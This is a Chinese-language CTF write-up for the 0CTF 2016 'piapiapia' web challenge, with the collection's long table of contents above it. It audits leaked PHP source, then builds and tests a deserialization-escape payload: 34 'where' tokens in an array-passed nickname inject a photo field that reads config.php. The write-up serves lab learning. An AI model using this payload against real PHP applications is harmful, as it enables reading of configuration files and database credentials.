🤤
BUUOJwp
  • README
  • SQL注入
    • [BSidesCF 2019]Sequel
    • [RCTF2015]EasySQL
    • [RootersCTF2019]babyWeb
    • [SUCTF 2018]MultiSQL
    • October 2019 Twice SQL Injection
    • [Black Watch 入群题]Web
    • [网鼎杯2018]Unfinish
    • [NCTF2019]SQLi
    • [CISCN2019 华北赛区 Day1 Web5]CyberPunk
    • [WUSTCTF2020]颜值成绩查询
    • [强网杯 2019]随便注
    • [b01lers2020]Life on Mars
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [SUCTF 2019]EasySQL
    • [GXYCTF2019]BabySQli
    • [GYCTF2020]Ezsqli
    • [极客大挑战 2019]EasySQL
    • [极客大挑战 2019]LoveSQL
    • [极客大挑战 2019]BabySQL
    • [极客大挑战 2019]HardSQL
    • [极客大挑战 2019]FinalSQL
    • [RoarCTF 2019]Online Proxy
    • [BJDCTF2020]Easy MD5
    • [BJDCTF 2nd]简单注入
    • [网鼎杯 2018]Comment
    • [SWPU2019]Web1
    • [GYCTF2020]Blacklist
    • [SWPU2019]Web4
    • [HarekazeCTF2019]Sqlite Voting
    • [XDCTF 2015]filemanager
    • [FBCTF2019]Products Manager
    • [PwnThyBytes 2019]Baby_SQL
    • [Zer0pts2020]phpNantokaAdmin
    • [NPUCTF2020]ezlogin
  • 命令执行/代码执行
    • [De1CTF 2019]Giftbox
    • Wallbreaker_Easy
    • [GXYCTF2019]禁止套娃
    • [CISCN 2019 初赛]Love Math
    • [NESTCTF 2019]Love Math 2
    • [ISITDTU 2019]EasyPHP
    • [红明谷CTF 2021]write_shell
    • 未完成[RoarCTF 2019]Easy Calc
    • [极客大挑战 2019]RCE ME
    • EasyBypass
    • [FBCTF2019]RCEService
    • [ACTF2020 新生赛]Exec
    • [HITCON 2017]SSRFme
    • [GXYCTF2019]Ping Ping Ping
    • [SUCTF 2018]GetShell
  • XXE
    • [NCTF2019]Fake XML cookbook
    • [NCTF2019]True XML cookbook
    • [CSAWQual 2019]Web_Unagi
    • [BSidesCF 2019]SVGMagic
    • [GoogleCTF2019 Quals]Bnv
  • SSRF
    • [网鼎杯 2020 玄武组]SSRFMe
  • XSS
    • [CISCN2019 华东北赛区]Web2
    • [GWCTF 2019]mypassword
  • SSTI
    • PHP
      • [CISCN2019 华东南赛区]Web11
      • [BJDCTF2020]The mystery of ip
      • [BJDCTF2020]Cookie is so stable
    • Python
      • [GWCTF 2019]你的名字
      • [pasecactf_2019]flask_ssti
      • [FBCTF2019]Event
      • [RootersCTF2019]I_<3_Flask
      • [CSCCTF 2019 Qual]FlaskLight
      • [GYCTF2020]FlaskApp
      • [WesternCTF2018]shrine
      • [护网杯 2018]easy_tornado
  • 文件上传
    • [HarekazeCTF2019]Avatar Uploader 1
    • [SUCTF 2019]CheckIn
    • [WUSTCTF2020]CV Maker
    • [MRCTF2020]你传你🐎呢
    • [GXYCTF2019]BabyUpload
    • [极客大挑战 2019]Upload
    • [ACTF2020 新生赛]Upload
    • [XNUCA2019Qualifier]EasyPHP
    • [羊城杯2020]easyphp
    • [SUCTF 2019]EasyWeb
  • PHP
    • Laravel
      • 未完成[CISCN2019 总决赛 Day1 Web4]Laravel1
    • PHP特性
      • [RCTF 2019]Nextphp
      • [WMCTF2020]Make PHP Great Again
      • [HarekazeCTF2019]encode_and_encode
      • [安洵杯 2019]easy_web
      • [Zer0pts2020]Can you guess it?
      • [WUSTCTF2020]朴实无华
      • [BJDCTF2020]Mark loves cat
      • [MRCTF2020]Ez_bypass
      • [GWCTF 2019]枯燥的抽奖
      • [MRCTF2020]Ezaudit
      • [BJDCTF2020]EzPHP
      • [NPUCTF2020]ReadlezPHP
      • [BSidesCF 2020]Had a bad day
      • [GWCTF 2019]我有一个数据库
      • [ACTF2020 新生赛]Include
      • [HCTF 2018]WarmUp
      • [SUCTF 2018]annonymous
      • [极客大挑战 2020]Roamphp1 Welcome
      • [网鼎杯 2020 半决赛]AliceWebsite
      • [ACTF2020 新生赛]BackupFile
      • [极客大挑战 2019]BuyFlag
      • [羊城杯 2020]Blackcat
      • [羊城杯 2020]Easyphp2
      • [羊城杯 2020]EasySer
    • PHP反序列化
      • [MRCTF2020]Ezpop_Revenge
      • [HarekazeCTF2019]Easy Notes
      • bestphp's revenge
      • [SUCTF 2019]Upload Labs 2
      • [SWPUCTF2018] SimplePHP
      • [CISCN2019 华北赛区 Day1 Web1]Dropbox
      • [0CTF 2016]piapiapia
      • [安洵杯 2019]easy_serialize_php
      • [GYCTF2020]Easyphp
      • [极客大挑战 2019]PHP
      • [网鼎杯 2020 青龙组]AreUSerialz
      • [BJDCTF2020]ZJCTF,不过如此
      • [EIS 2019]EzPOP
      • [2020 新春红包题]1
      • [MRCTF2020]Ezpop
      • [ZJCTF 2019]NiZhuanSiWei
    • ThinkPHP
      • [安洵杯 2019]iamthinking
      • [GYCTF2020]EasyThinking
      • [BJDCTF 2nd]old-hack
      • [RoarCTF 2019]Simple Upload
    • PHP综合
      • [网鼎杯 2020 总决赛]Game Exp
      • [HITCON 2017]Baby^h Master PHP
      • [HFCTF2020]BabyUpload
      • [NPUCTF2020]ezinclude
      • [MRCTF2020]套娃
      • [BUUCTF 2018]Online Tool
      • [网鼎杯 2020 朱雀组]Nmap
      • [网鼎杯 2020 朱雀组]phpweb
      • [网鼎杯 2018]Fakebook
      • [强网杯 2019] UPLOAD
      • [CISCN2019 总决赛 Day2 Web1]Easyweb
      • [GKCTF 2021]easycms
      • [GXYCTF2019]BabysqliV3.0
      • [N1CTF 2018]eating_cms
      • [安洵杯 2019]不是文件上传
      • [极客大挑战 2020]Greatphp
      • [极客大挑战 2020]Roamphp2-Myblog
      • [蓝帽杯 2021]One Pointer PHP
      • [BJDCTF2020]EzPHP
      • [CISCN2021 Quals]upload
  • Python
    • 逻辑漏洞
      • [DDCTF 2019]homebrew event loop
      • [CISCN2019 华北赛区 Day1 Web2]ikun
    • Flask
      • [HCTF 2018]Hideandseek
      • [SWPU2019]Web3
      • [watevrCTF-2019]Supercalc
      • [HCTF 2018]admin
      • [De1CTF 2019]SSRF Me
      • [CISCN2019 总决赛 Day1 Web3]Flask Message Board(*)
      • [CISCN2019 华东南赛区]Web4
      • [CISCN2019 华东南赛区]Double Secret
      • [网鼎杯 2020 白虎组]PicDown
      • [PASECA2019]honey_shop
      • [HFCTF 2021 Final]easyflask
    • 反序列化
      • [watevrCTF-2019]Pickle Store
  • Java
    • [网鼎杯 2020 朱雀组]Think Java
    • [NPUCTF2020]web🐕
    • [网鼎杯 2020 青龙组]filejava
    • [RoarCTF 2019]Easy Java
  • JavaScript
    • [GYCTF2020]Ez_Express
    • [网鼎杯 2020 青龙组]notes
    • [NPUCTF2020]验证🐎
    • [GYCTF2020]Node Game
    • [HITCON 2016]Leaking
    • [HFCTF2020]JustEscape
    • [FireshellCTF2020]ScreenShooter
    • [HFCTF2020]EasyLogin
  • 未分类
    • Unicode安全性
      • [SUCTF 2019]Pythonginx
      • [ASIS 2019]Unicorn shop
    • HTTP问题
      • [极客大挑战 2019]Secret File
      • [极客大挑战 2019]Http
      • [MRCTF2020]PYWebsite
      • [BSidesCF 2019]Kookie
      • [BSidesCF 2020]Hurdles
      • [watevrCTF-2019]Cookie Store
    • [b01lers2020]Space Noodles
    • [BSidesCF 2020]Cards
    • [BSidesCF 2019]Mixer
    • [BSidesCF 2019]Pick Tac Toe
    • [BSidesCF 2019]Futurella
    • [RootersCTF2019]ImgXweb
    • [CSAWQual 2016]i_got_id
    • [Windows][HITCON 2019]Buggy_Net
    • [极客大挑战 2019]Knife
    • [极客大挑战 2019]Havefun
    • [GXYCTF2019]StrongestMind
    • [b01lers2020]Welcome to Earth
    • [FireshellCTF2020]Caas
    • [BJDCTF2020]EasySearch
    • [SCTF2019]Flag Shop
    • [强网杯 2019]高明的黑客
    • virink_2019_files_share
由 GitBook 提供支持
在本页
  • [0CTF 2016]piapiapia
  • 考点
  • wp
在GitHub上编辑
  1. PHP
  2. PHP反序列化

[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

考点

  • 反序列化逃逸

wp

www.zip泄露源码,下载审计。

index.php有登录功能,先看index.php。包含class.php,使用session判断是否登录,登录了就跳转profile.php

<?php
require_once('class.php');
if($_SESSION['username']) {
    header('Location: profile.php');
    exit;
}

然后到登录功能,获取的username和password长度必须在[3,16]这个区间内,然后使用$user->login判断账号密码是否正确,这个函数在class.php中。

if($_POST['username'] && $_POST['password']) {
	$username = $_POST['username'];
	$password = $_POST['password'];
	if(strlen($username) < 3 or strlen($username) > 16) 
		die('Invalid user name');
	if(strlen($password) < 3 or strlen($password) > 16) 
		die('Invalid password');
	if($user->login($username, $password)) {
		$_SESSION['username'] = $username;
		header('Location: profile.php');
		exit;}
	else {  die('Invalid user name or password');  }
}else{}

到class.php找$user的定义。在config.php中定义了flag和$config数组用于保存MySQL连接的相关参数。

在mysql::filter()处把'和\\替换成_,把select,insert,update,where和delete替换成hacker,可能会有反序列化逃逸。

user::login()先对POST的数据用mysql::filter()进行替换,然后在mysql::select()判断账号密码是否正确

require('config.php');
session_start();

class mysql {
	private $link = null;
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}
}
class user extends mysql{
	private $table = 'users';
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
}
$user = new user();
$user->connect($config);

再看注册,和登录要求类似,取的username和password长度必须在[3,16]这个区间内。然后调用user::is_exists判断用户是否村,调用user::register函数进行注册

require_once('class.php');
if($_POST['username'] && $_POST['password']) {
	$username = $_POST['username'];
	$password = $_POST['password'];
	if(strlen($username) < 3 or strlen($username) > 16) 
		die('Invalid user name');
	if(strlen($password) < 3 or strlen($password) > 16) 
		die('Invalid password');
	if(!$user->is_exists($username)) {
		$user->register($username, $password);
		echo 'Register OK!<a href="index.php">Please Login</a>';		
	}else {  die('User name Already Exists');  }}

user::is_exists()对输入进行mysql::filter()替换,再去执行mysql::select()判断用户是否存在

user::register()对输入进行mysql::filter()替换,再去执行mysql::insert()插入新用户

class user extends mysql{
	private $table = 'users';
	public function is_exists($username) {
		$username = parent::filter($username);
		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);
		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}}
class mysql {
	private $link = null;
	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}
	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}}

然后看profile.php,调用user::show_profile()函数获取profile,然后反序列化profile,获取phone,email和nickname三个属性,最后读取photo属性对应的文件

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

user::show_profile()

class user extends mysql{
	public function show_profile($username) {
		$username = parent::filter($username);
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}}

还有最后一个update.php,POST获取phone,email和nickname三个属性,然后获取上传的photo文件。phone是11位数字,email只由字母数字下划线组成,nickname只由字母数字下划线组成,并且长度不超过10。

这里前面两个preg_match都是有!表示取逆,第三个nickname的限制就没有,也就是这里返回FALSE,而传入数组preg_match会使返回FALSE,这就绕过限制了。

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
	die('Login First');	
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
	$username = $_SESSION['username'];
	if(!preg_match('/^\d{11}$/', $_POST['phone']))
		die('Invalid phone');
	if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
		die('Invalid email');
	if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
		die('Invalid nickname');

对于上传的文件,没有过滤,保存为md5(name),也没有后缀。然后将上传的内容(四个字段),再使用user::update_profile()执行update语句,进行更新。

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
    die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

user::update_profile()

class user extends mysql{
    private $table = 'users';
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }}
class mysql {
    private $link = null;
    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }}

在update.php页面更新profile的时候对profile进行serialize操作,在profile.php读取profile时进行反序列化操作,并且更新profile会使用mysql::filter()进行替换,因此会导致PHP的反序列化逃逸。在profile.php读取profile时,会把profile中photo字段对应的文件读取并输出,所以这里逃逸只要修改profile['photo']为config.php即可。

这是正常序列化的结果

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:4:"test";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}

目标结果

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:4:"hacker";s:5:"photo";s:10:"config.php";}

如果nickname输入3个where,经过filter函数处理后结果如下

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:15:"hackerhackerhacker";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}

这样就逃逸了3个字符,目标是逃逸34个字符,那就需要34个where

payload测试

<?php
function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);

	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}

$profile['phone'] = '11111111111';
$profile['email'] = '111@qq.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'upload/' . md5('123.txt');
$s = serialize($profile);
echo $s."<br>";
echo filter($s);

得到结果

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"111@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/b52f6f78c93f7934d640cc67ae99fbd1";}

payload:

再去访问profile.php查看图片的内容即可

上一页[CISCN2019 华北赛区 Day1 Web1]Dropbox下一页[安洵杯 2019]easy_serialize_php

最后更新于3年前